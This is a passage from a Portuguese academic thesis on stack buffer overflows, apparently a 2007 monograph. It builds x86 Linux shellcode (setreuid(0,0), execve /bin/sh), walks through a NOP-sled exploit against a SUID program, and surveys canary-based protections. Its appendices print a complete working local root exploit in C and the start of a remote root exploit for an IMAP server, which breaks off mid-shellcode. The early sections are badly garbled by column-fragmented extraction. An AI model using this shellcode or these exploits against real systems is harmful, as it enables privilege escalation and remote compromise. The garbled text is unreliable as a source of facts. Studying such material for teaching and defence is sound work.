preciso exe
pela figura
asso para a
ecutar pass
4.6.
obtenção d
so a passo
dos opcodes
cada instr
s.
rução da sy
74
yscall
serão
mais
um s
men
F
A última
o utilizados
adiante pa
shellcode em
os similar a
Figura 4.6:
a coluna de
para gerar
ara a execu
m um array
o demonstr
segundo pa
e toda a saí
o shellcode
ução de cód
y. Um prog
rado pela fi
asso para a
ída gerada
e. Chega‐se
digo arbitrá
rama que u
gura 4.7.
obtenção d
na figura 4
, então, no
rio em stac
utiliza o she
dos opcodes
4.6 contém
conceito q
ck overflow
ellcode criad
s.
os opcodes
ue será util
ws: a inserçã
do seria ma
75
s que
izado
ão de
ais ou
obtid
máq
uma
igual
4.4 S
sysca
proc
Cada pe
do através d
As duas
uina ou pel
chamada p
a 0, como
Shellcode
É neste
all em qu
urando‐se p
Figura 4.7
daço (unida
da figura 4.6
formas de
o shellcode
pela função
mostrado p
para a sy
ponto em
uestão, de
pela linha co
7: shellcode
ades “\xYZ”
6, ou seja, d
execução (a
e correspon
o “exit()” co
pelo código
yscall “sys_
que as peç
eve‐se ana
orresponde
para execu
” da figura
da linha 2 à
através das
dente) resu
om o parâm
da figura 4
_execve”
ças começa
alisar o a
ente. A funç
tar a função
4.7) do she
36.
instruções
ultam na me
metro (nest
.1.
m a se enc
arquivo “a
ção está ilus
o “exit(0)”.
ellcode equ
diretamen
esma saída
te caso, o
caixar. Para
rch/i386/ke
strada na fig
uivale ao op
te em códig
prática, ou
status de s
compreen
ernel/proce
gura 4.8.
76
pcode
go de
u seja,
saída)
der a
ess.c”,
do co
dese
EDX,
funçã
arqu
Como se
omando a
jado. Nesta
porém not
ão, situada
ivo “fs/exec
e pode ente
ser executa
a função, nã
ta‐se que os
a na linha
c.c” do kern
Figura 4.8
ender pela
ado (linha 9
ão é possíve
s endereços
13, a “do_
nel. Sua assi
: syscall “sy
figura 4.8,
9), ou seja,
el entender
s contidos n
_execve()”.
inatura está
ys_execve”.
o registrad
“/bin/sh”,
as atribuiçõ
nos mesmos
Esta última
á represent
or EBX con
de acordo
ões dos reg
s são repass
a função é
ada pela fig
tém o ende
o com o obj
gistradores
sados para
é encontrad
gura 4.9.
77
ereço
jetivo
ECX e
outra
da no
Fica
enqu
simp
objet
E, co
no ar
EDX
“argv
são:
•
•
Figura
Agora se
evidente, e
uanto o EDX
plesmente d
tivo é execu
omo o a var
rgumento s
e o argum
v[0]” será p
Finalmen
Inserir a
Escrever
a 4.9: funçã
e tem uma i
então, que
X guarda o e
descartadas
utar um she
riável “argv
seguinte, ou
ento “argv
preenchido.
nte, para cr
string “/bin
r o endereço
o do kernel
idéia mais c
o registrad
endereço d
s, ou seja,
ell interativ
v[]” é um ar
u seja, em “
[1]” recebe
riar o shellc
n/sh” em al
o correspon
l responsáve
clara das at
dor ECX arm
o “envp[]”.
o registrad
vo, o conteú
rray de car
“argv[1]”. Po
erão o valo
code corresp
gum lugar d
ndente no r
el por execu
ribuições do
mazena o e
As variáve
dor EDX re
údo de “arg
acteres, de
ortanto, res
or 0, enqua
pondente, o
da memória
registrador
utar um com
os registrad
endereço do
is de ambie
ceberá o v
gv[0]” deve
ve‐se inser
sumidamen
nto somen
os passos a
a;
EBX;
mando.
dores ECX e
o array “ar
ente poderã
valor 0. Com
rá ser “/bin
ir um valor
nte, o regist
te o argum
serem seg
78
e EDX.
gv[]”,
ão ser
mo o
n/sh”.
r nulo
rador
mento
uidos
•
•
•
•
repre
mem
inser
“/bin
Criar um
de um N
Escrever
Escrever
Executar
Todas a
esentadas a
Fig
Antes de
mória. Então
rção do me
n”. As duas
m ponteiro “
NULL;
r o endereço
r o valor 0 n
r a instrução
as instruçõ
através da f
gura 4.10: i
e tudo, dev
o, na linha 1
smo na pilh
barras da p
“char **” qu
o correspon
no registrad
o “INT 0x80
ões que c
igura 4.10.
nstruções p
ve‐se inserir
1, há a cria
ha. Na linha
primeira ins
ue contém o
ndente no r
or EDX;
0” para aces
corresponde
para executa
r a string “/
ção do valo
a 3 há a inse
serção serve
o endereço
registrador
ssar o modo
em ao sh
ar o coman
/bin/sh” se
or nulo e, e
erção da str
em como u
da string “/
ECX;
o kernel.
hellcode em
do “/bin//s
eguida de u
m seguida,
ring “//sh”
m truque p
/bin/sh” se
m questão
h”.
m valor nu
na linha 2,
na pilha e,
para comple
79
guida
são
ulo na
, há a
na 4,
etar 1
80
word (4 bytes), já que “/sh” somente ocuparia 3 bytes. Na linha 5, o ESP aponta
exatamente para o endereço inicial da string “/bin//sh”, então pode‐se escrevê‐lo no
registrador EBX. Como o registrador EAX ainda é zero (não houve alteração nele desde
a linha 1), pode‐se utilizá‐lo para terminar o array “argv[]”, o que é feito pela linha 6.
Se o endereço da string “/bin//sh” também é inserido na pilha, o endereço do ponteiro
“argv[]” estará no ESP. Desta maneira, cria‐se o “char **” necessário na memória,
através da linha 7. Escreve‐se o endereço correspondente no registrador ECX com a
linha 8 e 0 no EDX pela linha 9. Por último, na linha 10, há a definição da syscall
desejada (0xB, ou seja, “sys_execve”) e, então, ocorre a interrupção (linha 11).
Depois de obter os opcodes do shellcode criado através da mesma metodologia
empregada na demonstração da syscall “sys_exit”, chega‐se ao seguinte resultado, já
inserido no array correspondente, como mostra a figura 4.11.
figur
GDB,
para
Asse
é a
coma
“<sh
dese
com
corre
Fi
Para obt
a 4.11, é p
, através do
uma melho
mbly. É um
execução d
ando irá i
ellcode>”,
jados. A sa
a figura 4.1
etos, sem m
igura 4.11: s
ter uma saí
possível calc
os deslocam
or legibilida
m trabalho re
do comand
imprimir a
ou seja, to
aída do com
12. É import
mencionar q
shellcode pa
ída mais el
cular o tam
mentos de
ade do códig
elativamen
do “objdum
s 12 linha
odas as 12
mando, no c
tante notar
ue as instru
ara executa
egante do
manho das
endereços
go, “quebra
te incômod
mp ‐D arqu
as seguinte
2 linhas de
caso do pro
que os opc
uções em As
ar o comand
shellcode, c
instruções
em relação
a‐se” o arra
do, então um
ivo | grep
es à prime
endereços
ograma da
codes já estã
ssembly são
do “/bin//sh
como se po
diretament
o à função
ay a cada no
ma alternat
\<shellcod
eira ocorrê
s que cont
figura 4.11
ão “quebra
o escritas ao
h”.
ode observ
te pela saíd
“main()”. A
ova instruçã
tiva interes
de\> ‐A12”.
ência da s
têm os opc
1, fica de ac
dos” nos lu
o lado.
81
var na
da do
Assim,
ão em
sante
Este
string
codes
cordo
gares
exec
pela
Figura 4.1
Para ter
utá‐lo e, en
figura 4.13
Fig
12: saída do
certeza de
ntão, observ
.
gura 4.13: e
o comando
que o shell
var o comp
execução do
“objdump”
lcode foi co
portamento
o programa
para o prog
onstruído co
produzido
mostrado n
grama da fi
orretamente
, assim com
na figura 4.
igura 4.11.
e, é interes
mo demons
11.
82
sante
trado
83
Como se pode visualizar na figura 4.13, o shellcode funcionou perfeitamente. O
PID24 do shell anterior, de acordo com a linha 3, era 30339. Quando o programa “shell”
é executado, um novo shell é invocado, o que explica o PID distinto na linha 6.
4.5 Shellcode para a syscall “sys_setreuid”
Em alguns casos, particularmente em programas vulneráveis que possuem o bit
SUID25 configurado, pode‐se ser necessário utilizar a função “setreuid()” para definir o
UID26 real e o efetivo do usuário, uma vez que, mesmo explorando um stack overflow,
o kernel normalmente recupera corretamente as permissões anteriores.
Observando‐se a tabela de syscalls do kernel, percebe‐se que a “sys_setreuid”
utiliza três registradores para seu funcionamento: EAX (contém o código da syscall, ou
seja, 0x46), EBX (contém o UID real) e ECX (contém o UID efetivo). O código de
máquina responsável por executar a syscall em questão está ilustrado na figura 4.14.
24 Process ID (Identificador do Processo); 25 Permissão de arquivo especial de sistemas baseados em UNIX. Quando um usuário comum executa um binário em que o owner (dono) é o root (administrador), por exemplo, a execução ocorre transparentemente como se o usuário fosse o próprio administrador, ou seja, há uma elevação temporária de privilégios; 26 User ID (Identificador do Usuário).
XOR
o UI
prop
4.6 S
Figura 4
Na linha
entre um n
D efetivo.
priamente d
Já na figu
Fig
Shellcode
4.14: código
5, define‐s
número e el
Na linha 7
ita, na linha
ura 4.15, te
gura 4.15: o
unindo o
o de máquin
se 0 como s
le próprio, o
tem‐se a d
a 8.
m‐se os opc
opcodes par
os três ant
na para exec
sendo o UID
o resultado
definição d
codes extra
ra executar
teriores
cutar a funç
D real (se é
é 0). Em se
a syscall e,
aídos pelo p
a função “s
ção “setreu
utilizada a
eguida, na li
, finalmente
programa “o
setreuid(0, 0
id(0, 0)”.
operação l
inha 6, defi
e, a interru
objdump”.
0)”.
84
ógica
ne‐se
upção
que c
funçã
proc
que
figur
Em muit
correspond
ão “execve
esso de ma
Para con
se unam os
a 4.16 most
Figura 4
tos exploits
de ao usuári
e(“/bin/sh”,
neira limpa
nstruir um
s opcodes c
tra um prog
4.16: shellco
há a execu
io privilegia
, [“/bin/sh”
a, tem‐se a c
shellcode ú
corresponde
grama já co
ode pronto p
ução da fun
do do siste
”, NULL], N
chamada da
único que r
entes a cad
m o shellco
para ser usa
ção “setreu
ma. Em seg
NULL)”. Fin
a função “e
ealiza as tr
da função e
ode correspo
ado (união d
uid(0, 0)” pa
guida, tem‐s
nalmente, p
xit(0)”.
rês operaçõ
em uma seq
ondente em
dos três ant
ara definir o
se a chama
para encer
ões acima,
qüência lóg
m um array.
teriores).
85
o UID
da da
rar o
basta
ica. A
.
86
4.7 Removendo os bytes nulos do shellcode final
Agora que se tem o shellcode pronto para executar os três comandos desejados
nos exploits que serão demonstrados no próximo capítulo, deve‐se, por último,
remover os bytes nulos (null bytes) do mesmo. Esta última operação é necessária
porque normalmente um exploit ataca uma função de cópia de strings (função
“strcpy()”, por exemplo), ou seja, qualquer null byte no meio da string copiada será
considerado como o fim da mesma, o que impedirá o restante da cópia. Isto destrói
qualquer possibilidade de ataque.
Para provar a teoria mencionada, é possível extrair a descrição de cada função
elementar da linguagem de programação C através do manual online do Linux (Linux
Programmer’s Manual): “The strcpy() function copies the string pointed to by src
(including the terminating `\0' character) to the array pointed to by dest.”. Ou seja, no
caso da função citada e em muitas outras, um valor nulo (“\0”) é considerado o fim da
string.
Sendo assim, observando‐se a linha 7 da figura 4.16, observa‐se que a instrução
correspondente gera 3 null bytes (“\x00\x00\x00”). Várias instruções em Assembly
geram null bytes (há outros 3 na linha 27). No caso da figura citada, os null bytes
aparecem porque são feitas operações entre 32 e 8 bits, ou seja, 24 ficam faltando,
fazendo com que a instrução complete o restante (3 bytes) com null bytes. Por
87
exemplo, ainda na linha 7 da mesma figura, tem‐se a instrução “mov $0x46, %eax”. O
primeiro operando – “$0x46” – é um dado de apenas 1 byte (ou 8 bits). Já o registrador
EAX (segundo operando) possui o tamanho de 4 bytes (ou 32 bits), o que resulta em
uma diferença de 3 bytes (ou 24 bits). É daí que aparecem os três null bytes do
shellcode criado, pois a diferença é preenchida pela própria instrução.
É evidente que cada caso é um desafio em particular. Isto porque em algumas
situações, não são somente os null bytes que são considerados dados problemáticos.
Por exemplo, em uma vulnerabilidade específica, talvez não seja possível utilizar o
caractere “/” (devido algum filtro) no shellcode, o que impossibilitaria a execução de
um shell através da técnica descrita neste trabalho. Um exemplo clássico é o servidor
IMAP padrão do Linux Slackware 11. Todo comando repassado ao serviço é convertido
em caracteres maiúsculos, então isto deve ser levado em consideração no projeto do
shellcode, uma vez que se executando “/BIN/SH” não surtiria o efeito desejado, já que
o Linux diferencia maiúsculas de minúsculas. Em outras palavras, o shell obviamente
não seria executado, pois tal caminho e comando não existem.
O shellcode da figura 4.16 corrigido ficará exatamente igual como o mostrado
pela figura 4.17.
entre
mesm
o re
trans
faz p
oper
não h
A correç
e 32 e 8 bit
ma quantid
gistrador E
sparenteme
parte do EA
randos das
há diferenç
Figur
ão do shellc
ts, nas linha
ade de bits
EAX por AL
ente, uma v
AX (como
instruções
a a ser com
ra 4.17: she
code foi sim
as 7 e 27, b
s, ou seja, e
L em amba
vez que o re
explicado n
são de 8 bi
mpletada pe
llcode final
mples. Como
bastou conv
entre 8 e 8.
as as linha
egistrador A
no capítulo
its, não há
lo processa
(sem null b
o anteriorm
verter as in
Para alcanç
as. Tal alte
AL é uma u
o 2 deste t
a geração
dor.
bytes).
mente havia
nstruções e
çar este ob
ração é po
nidade dist
trabalho). C
de null byte
duas opera
m operaçõ
jetivo, se tr
ossível e o
tinta, porém
Como ambo
es, uma vez
88
ações
es de
rocou
ocorre
m que
os os
z que
89
5 EXPLORANDO
Neste capítulo, apresenta‐se um exploit funcional para uma vulnerabilidade
simples. Um segundo exploit (para uma vulnerabilidade remota real) está disponível
nos apêndices deste trabalho.
5.1 Falha real em um binário com bit SUID configurado
O código exposto na figura 5.1 toma uma string como argumento e
simplesmente a converte em letras maiúsculas. No entanto, na linha 19, faz‐se uma
cópia da string a ser manipulada para um buffer (que só pode armazenar 256 bytes,
conforme declarado na linha 11).
capít
Fig
Figura
Para cria
tulos anteri
gura 5.2: com
a 5.1: progra
ar um cen
ores, assum
mpilação e
ama que co
nário a fim
mem‐se os c
definição d
onverte uma
de testar
comandos d
do bit SUID d
a string em
os conhec
da figura 5.2
do program
letras maiú
cimentos a
2.
ma mostrado
úsculas.
adquiridos
o na figura 5
90
pelos
5.1.
sobre
Figu
falha
como
some
bytes
o val
utiliz
Primeira
escrever o S
ura 5.3: dete
RET (
Analisan
a. Incremen
o argument
ente outros
s sobrescre
or 0x61 é a
zado para a
mente é
SEBP e o RE
erminando
(a figura foi
do a figura
ntando a q
to para o p
s 4 bytes pa
eve‐se ambo
a representa
a função “ru
necessário
ET. Isto é de
quantos by
i cortada em
5.3, observ
uantidade
programa,
ra sobrescr
os os regist
ação hexad
un” do GDB
determina
emonstrado
ytes são nec
m seu lado d
va‐se que c
de bytes e
todo o reg
rever o RET
radores com
ecimal do c
B (linhas 1
ar quantos
o na figura 5
cessários pa
direito para
om 280 byt
m 4, ou se
gistrador SE
. Sendo ass
m sucesso.
caractere “a
e 10) é, na
bytes são
5.3.
ara sobrescr
a poupar esp
tes não há a
eja, inserind
EBP é sobre
im, conclui‐
É importan
a”. Além dis
a verdade, u
o precisos
rever o SEBP
paço).
a reproduçã
do‐se 284
escrito, falt
‐se que com
nte ressalta
sto, o argum
um comand
91
para
P e o
ão da
bytes
tando
m 288
r que
mento
do do
92
interpretador Perl capaz de imprimir uma string tantas vezes quanto definido. Isto
serve somente para agilizar o processo de inserção de strings.
Como a vulnerabilidade contida no código da figura 5.1 é simples, a primeira
versão de um exploit foi rapidamente criada, sendo retratada pela figura 5.4.
amb
dem
se fo
Figura
Porém,
iente de e
onstração d
osse desejad
5.4: primei
como nota
estudo par
do exploit o
do executar
ira versão d
a‐se na figu
a exemplif
ocorre dent
r código arb
do exploit pa
ura 5.4, há
ficar uma
ro do própr
bitrário nes
ara o progra
á um prob
falha, com
rio program
te caso, o e
ama da figu
lema. Qua
mo feito no
ma vulneráv
endereço do
ura 5.1.
ndo se cria
o capítulo
vel. Sendo a
o shellcode
93
a um
3, a
assim,
seria
94
facilmente conhecido, uma vez que ele estaria na mesma área de endereços do
processo vulnerável. No caso da figura 5.4, a situação é muito distinta, sendo
exatamente por este motivo que o endereço do shellcode está faltando (linha 39). Há
um programa vulnerável e, separadamente em outro programa, há o exploit.
Para obter sucesso na exploração da falha, deve‐se, primeiramente, descobrir
em qual endereço de memória o shellcode está contido. A técnica mais comum, porém
longe de ser a mais eficiente, é demonstrada na seção seguinte.
5.1.1 Descobrindo o endereço de memória do shellcode
A maneira mais disseminada para atingir tal objetivo é inserir o shellcode no
buffer a ser sobrecarregado e sobrescrever o RET de maneira que ele aponte para
dentro do próprio buffer. Isto é representado graficamente pela figura 5.5.
adici
nece
natu
inicia
são p
seria
chan
qualq
NOP
27 Instru
Fig
Como se
onais para
essário (já q
ral do prog
Consider
a é muito d
preenchidos
a necessário
nces quanto
quer NOP d
serão “exe
ução nula. Utiliza
gura 5.5: re
e repara na
a alocar o
ue a idéia é
rama vulne
rando que
ifícil, criou‐
s com uma
o adivinhar
o o número
do buffer, o
ecutadas”,
ada normalmente
epresentaçã
figura 5.5,
shellcode,
é executar u
rável).
descobrir o
‐se uma téc
seqüência
r apenas 1
de instruçõ
o shellcode
chegando,
e para gerar atras
ão gráfica d
pode‐se, ai
uma vez
um shell int
o endereço
cnica onde t
de instruçõ
endereço
ões NOP con
será execu
por fim, n
sos na execução d
da técnica a
nda, utiliza
que tal r
terativo, fug
o de memó
todos os by
ões NOP27. A
entre milh
ntidas no bu
utado, pois,
no código. C
de algum código.
ser estudad
r o SEBP pa
registrador
gindo do flu
ria exato o
ytes anterio
A idéia é sim
ares, agora
uffer. Se o R
antes, tod
Concretizan
.
da.
ara obter 4
não será
uxo de exec
onde o shel
ores ao shel
mples: se, a
a, tem‐se t
RET apontar
das as instru
ndo a teori
95
bytes
mais
cução
llcode
llcode
antes,
antas
r para
uções
a em
núm
(figu
NOP
F
mem
isto
maio
na p
muit
do p
eros, se o
ra 5.4), tem
. A represen
Figura 5.6: r
Mesmo
mória do she
é que a pi
oria dos pro
ilha de um
o mais fácil
rograma, ut
buffer a se
m‐se uma q
ntação gráf
representaç
através de
ellcode con
lha inicia n
ogramas não
a única vez
l tentar des
tiliza‐se a fu
er estourad
uantidade d
ica dessa te
ção gráfica
e certas m
ntinua uma
no mesmo
o insere ma
z. Assim, sa
scobrir o en
unção most
o possui 25
de 217 byte
eoria está ex
da técnica a
melhorias n
tarefa prat
endereço d
ais do que a
abendo‐se o
dereço do b
trada na figu
56 bytes (fi
es livres pa
xposta na fi
a ser estuda
a técnica,
ticamente i
de memóri
algumas cen
o endereço
buffer vulne
ura 5.7.
igura 5.1) e
ra a inserçã
igura 5.6.
ada, agora
descobrir
mpossível.
a para qua
ntenas ou m
o no qual a
erável. Para
e o shellcod
ão de instru
aprimorada
o endereç
A resposta
alquer funçã
milhares de
pilha inicia
a descobrir
96
de 39
uções
a.
ço de
para
ão. A
bytes
a, fica
o ESP
apên
prati
pode
Fig
O exploit
ndices do tr
camente d
e ser observ
Figura
gura 5.7: fu
t final, capa
rabalho. Nã
obrou em r
vada na figu
a 5.8: parte
unção para
az de explor
ão foi poss
relação à p
ura 5.8.
da saída pr
retornar o e
rar a falha d
ível inseri‐l
rimeira ver
roduzida pe
endereço co
da figura 5.
lo neste es
rsão. Parte
la segunda
ontido no ES
1, está cont
paço porqu
da saída pr
versão do e
SP.
tido na seçã
ue seu tam
roduzida po
exploit.
97
ão de
manho
or ele
98
É importante ressaltar que os três pontos verticais na figura 5.8 indicam que
várias tentativas foram realizadas a fim de se encontrar o offset correto. Como citado
anteriormente, este método está longe de ser o mais eficiente, porém, de fato,
funciona. Para automatizar o processo de descoberta dos endereços, pode‐se criar um
segundo programa que teste exaustivamente vários offsets seqüenciais. Isto pode ser
chamado de brute force search28.
28 Pesquisa por força bruta. Consiste em testar várias soluções para determinado problema a fim de encontrar uma ou mais que satisfaçam determinada condição.
99
6 TECNOLOGIAS DE PROTEÇÃO
6.1 Curingas
Tipicamente, tecnologias de proteção contra stack overflows modificam a
organização dos dados nas locações da pilha criada, inserindo um valor “curinga” que,
quando destruído, indica que um buffer precedente na memória foi sobrecarregado.
Esta abordagem possibilita a prevenção de uma classe inteira de ataques, sendo que o
desempenho perdido através do uso dessa técnica é desprezível.
Curingas são dados conhecidos que são inseridos entre um buffer e os dados de
controle da pilha a fim de monitorar stack overflows. Quando um estouro ocorre, o
primeiro dado a ser corrompido é o curinga. A verificação deste curinga, por sua vez,
irá falhar, uma vez que o buffer excedeu seu tamanho máximo, gerando, assim, um
alerta de stack overflow. Este alerta, então, pode ser tratado de alguma maneira
específica, como, por exemplo, invalidando os dados corrompidos.
6.1.1 Curingas terminais
100
Baseiam‐se na observação de que a maioria dos stack overflows utiliza
determinadas operações de strings que terminam em dados especiais. Sendo assim,
curingas terminais normalmente finalizam em NULL, “\r”, “\n” e “‐1”. O ponto fraco
desta abordagem é que o curinga é conhecido, o que dá brecha para potencialmente
sobrescrever o curinga e controlar a informação na pilha, só sendo necessário, depois,
corrigir o exploit p ara utilizar um buffer menor a fim de não violar a proteção.
6.1.2 Curingas aleatórios
São curingas utilizados de maneira completamente aleatória. São obtidos,
normalmente, através de um serviço específico para a geração aleatória de dados,
como o dispositivo “/dev/random” do Linux. Em condições normais, não há a
possibilidade de identificar o curinga a fim de se explorar alguma falha específica.
Normalmente, um curinga aleatório é gerado na inicialização do programa
protegido, sendo salvo em uma variável global. A variável normalmente é ajustada
para uma área de memória não mapeada pelo processo, então qualquer tentativa de
lê‐la resultará em uma falha de segmentação, encerrando o programa imediatamente.
Existe a possibilidade de ler o curinga se o hacker souber exatamente onde ele está
mapeado ou, então, se implementar alguma técnica que faça o programa ler a partir
da pilha.
101
6.1.3 Curingas aleatórios codificados
Possui a mesma analogia de curingas aleatórios comuns, exceto pelo fato de
que são misturados com a instrução XOR usando toda ou parte dos dados de controle
da pilha. Desta maneira, se o curinga ou os dados de controle forem sobrescritos, o
curinga estará errado, gerando um alerta. Esta abordagem possui as mesmas
vulnerabilidades de curingas aleatórios comuns, porém a técnica para se fazer com
que o programa leia diretamente a partir da pilha é relativamente mais complicada. O
hacker precisa descobrir o curinga, o algoritmo e os dados de controle da pilha para,
assim, gerar os curingas originais exatamente nos pontos em que eles foram inseridos.
6.2 Implementações
Abaixo, são citados alguns softwares que implementam uma ou mais
tecnologias descritas na seção anterior.
• grsecurity29
• PaX30
• StackGuard
29 http://www.grsecurity.net/; 30 http://pax.grsecurity.net/;
102
• ProPolice31
• StackGhost32
31 http://www.trl.ibm.com/projects/security/ssp/; 32 http://projects.cerias.purdue.edu/stackghost/
103
7 CONCLUSÃO
Através do término do presente estudo, evidencia‐se que organizações de
pequeno até grande porte estão sujeitas às vulnerabilidades apresentadas,
particularmente os stack overflows. Embora exista um crescente investimento na
adoção de modelos supostamente seguros de desenvolvimento de software, sabe‐se
que a falha humana é um fator latente em qualquer processo manual, podendo, assim,
minimizar ou anular qualquer tentativa de melhoria na produção.
Stack overflows são relativamente fáceis de explorar, com raras exceções em
cenários muito específicos. Um hacker pode tomar o controle do fluxo de execução de
um programa e fazê‐lo agir de uma maneira muito distinta da qual foi projetada,
executando funções privilegiadas do próprio código ou, então, chamando comandos
diretamente no sistema operacional no qual o software está contido.
Além disso, se um software é vulnerável, porém não há uma maneira viável de
explorá‐la na realidade, o hacker pode, ainda, fazê‐lo parar de responder total ou
parcialmente através de um ataque DoS. Se um ataque de tal tipo é realizado em um
servidor de um sistema importante (a um dos servidores da BOVESPA, por exemplo), o
impacto pode ser facilmente mensurado em enormes perdas financeiras, uma vez que
afetará uma organização que deve ficar online sem interrupções num período crítico
de tempo.
104
Finalmente, percebe‐se que existem diversos softwares auxiliares para
proteção contra os tipos de vulnerabilidade de código citados, porém nenhum deles
permanece infalível por muito tempo, uma vez que hackers sempre encontram falhas
de projeto e, assim, desenvolvem caminhos alternativos, obviamente não protegidos
pelos softwares em questão.
A solução ideal, então, é óbvia, ou seja, a cuidadosa auditoria do código
produzido, realizada por terceiros, uma vez que a verificação de um software pelos
próprios autores é “viciada” (as falhas normalmente passam despercebidas). Para
identificar possíveis problemas no código, este estudo sugere que primeiramente seja
feita uma varredura automatizada através de uma ferramenta específica. Depois, o
código deve ser submetido a uma auditoria humana, sendo que as pessoas
responsáveis por isto devem ser peritas em tal tipo de análise. Em uma camada
superior, para reforçar ainda mais a segurança de um sistema computacional, pode‐se
utilizar uma ou mais tecnologias de proteção, sendo, esta, a última instância
responsável por conter um ataque.
105
8 SUGESTÕES PARA TRABALHOS FUTUROS
• Estudar detalhadamente todo o contexto envolvido nos outros tipos de
vulnerabilidade de código citados (heap overflows, integer overflows e format
strings);
• Coletar informações precisas, citando pontos fortes e fracos, sobre tecnologias
de proteção contra vulnerabilidades de código, além de detalhar e/ou
desenvolver ferramentas de auditoria automática para as falhas humanas mais
comuns;
• Interpretar modelos de desenvolvimento de software a fim de identificar
possíveis falhas quanto a verificação da segurança do código produzido,
excluindo, modificando e inserindo novas regras quando necessário.
106
REFERÊNCIAS BIBLIOGRÁFICAS
CONOVER, Matt. W00w00 On Heap Overflows. Disponível em:
<http://www.w00w00.org/files/articles/heaptut.txt>. Acesso em: 29 out. 2007.
FOSTER, James; LIU, Vincent. Writing Security Tools And Exploits. Rockland: Syngress
Publishing, 2006.
GERA; RIQ. Advances In Format String Exploitation. Disponível em:
<http://www.phrack.org/issues.html?issue=59&id=7#article>. Acesso em: 29 out.
2007.
HENNESSY, John; PATTERSON, David. Computer Architecture: A Quantitative
Approach. 2nd San Francisco: Morgan Kaufmann, 1996.
INTEL. IA‐32 Intel Architecture Software Developer: Basic Architecture. [n/a], 2003. 3
v.
107
INTEL. IA‐32 Intel Architecture Software Developer: Instruction Set Reference. [n/a],
2003. 3 v.
INTEL. IA‐32 Intel Architecture Software Developer: System Programming Guide.
[n/a], 2003. 3 v.
KAEMPF, Michel. Smashing The Heap For Fun And Profit. Disponível em:
<http://doc.bughunter.net/buffer‐overflow/heap‐corruption.html>. Acesso em: 29
out. 2007.
KOZIOL, Jack et al. The Shellcoder's Handbook: Discovering And Exploiting Security
Holes. Indianapolis: Wiley Publishing, 2004.
MCDOUGALL, Steven. Limitations Of The IBM PC Architecture. Disponível em:
<http://world.std.com/~swmcd/steven/rants/pc.html>. Acesso em: 29 out. 2007.
MIKHALENKO, Peter. How Shellcodes Work. Disponível em:
<http://www.linuxdevcenter.com/pub/a/linux/2006/05/18/how‐shellcodes‐
work.html>. Acesso em: 29 out. 2007.
108
MONOGRAFIA.NET. Regras da ABNT. Disponível em:
<http://www.monografia.net/abnt/index.htm>. Acesso em: 29 out. 2007.
MURAT. Buffer Overflows Demystified. Disponível em:
<http://www.enderunix.org/docs/eng/bof‐eng.txt>. Acesso em: 29 out. 2007.
MURAT. Designing Shellcode Demystified. Disponível em:
<http://www.enderunix.org/docs/eng/sc‐en.txt>. Acesso em: 29 out. 2007.
ONE, Aleph. Smashing The Stack For Fun And Profit. Disponível em:
<http://www.phrack.org/issues.html?issue=49&id=14#article>. Acesso em: 29 out.
2007.
PC UNDERGROUND. Assembly Language: The True Language Of Programmers. [n/a]:
[n/a], [n/a].
SANTOS, Jeremias Pereira Dos; RAYMUNDI JÚNIOR, Edison. Programando Em
Assembler 8086/8088. Itaim Bibi: Mcgraw‐hill, 1989.
109
SCUT. Exploiting Format String Vulnerabilities. Disponível em:
<http://doc.bughunter.net/format‐string/exploit‐fs.html>. Acesso em: 29 out. 2007.
SHAH, Saumil. Writing Metasploit Plugins: From Vulnerability To Exploit. Disponível
em: <http://conference.hitb.org/hitbsecconf2006kl/materials/DAY%201%20‐
%20Saumil%20Shah%20‐%20Writing%20Metasploit%20Plugins.pdf>. Acesso em: 29
out. 2007.
TANENBAUM, Andrew. Sistemas Operacionais Modernos. 2. ed. [n/d]: Pearson, 2003.
WIKIPEDIA. Orders Of Magnitude (Data). Disponível em:
<http://en.wikipedia.org/wiki/Orders_of_magnitude_%28data%29>. Acesso em: 29
out. 2007.
WIKIPEDIA. Stack‐Smashing Protection. Disponível em:
<http://en.wikipedia.org/wiki/Stack_Protection>. Acesso em: 29 out. 2007.
WIKIPEDIA. X86 Architecture. Disponível em:
<http://en.wikipedia.org/wiki/X86_architecture>. Acesso em: 29 out. 2007.
110
APÊNDICES
Apêndice A: exp‐maiusculas.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx,%ebx */
111
"\xb0\x01" /* mov $0x1,%al */
"\xcd\x80"; /* int $0x80 */
unsigned long get_esp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i;
char *buffer, *ptr_buffer, *comando[3];
long ret, *ptr_ret;
if(argc != 3)
{
printf("Uso: %s <buffer> <offset>\n", argv[0]);
exit(0);
}
buffer = malloc(atoi(argv[1]));
ret = get_esp() ‐ atoi(argv[2]);
ptr_buffer = buffer;
ptr_ret = (long *) ptr_buffer;
for(i = 0; i < atoi(argv[1]); i += 4)
*(ptr_ret++) = ret;
for(i = 0; i < (atoi(argv[1]) / 2); i++)
buffer[i] = 0x90;
ptr_buffer = buffer + ((atoi(argv[1]) / 2) ‐ (strlen(shellcode) / 2));
for(i = 0; i < strlen(shellcode); i++)
*(ptr_buffer++) = shellcode[i];
buffer[atoi(argv[1]) ‐ 1] = '\0';
comando[0] = "/tmp/maiusculas";
112
comando[1] = buffer;
comando[2] = NULL;
printf("ret=0x%x\n", ret);
execve(comando[0], comando, NULL);
return(0);
}
Apêndice B: dpami.c
/*
* Remote root exploit for IMAP4rev1 v12.xxx (c) 2001
* Authors: jpassing and clorets
*/
#include <sys/types.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define NOP 0x90
#define OFFSET 0
113
#define TAMANHO 1060
#define LIMPA(x) bzero(x, sizeof(x))
#define LE(sock, x) read(sock, x, sizeof(x))
char shellcode[] =
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
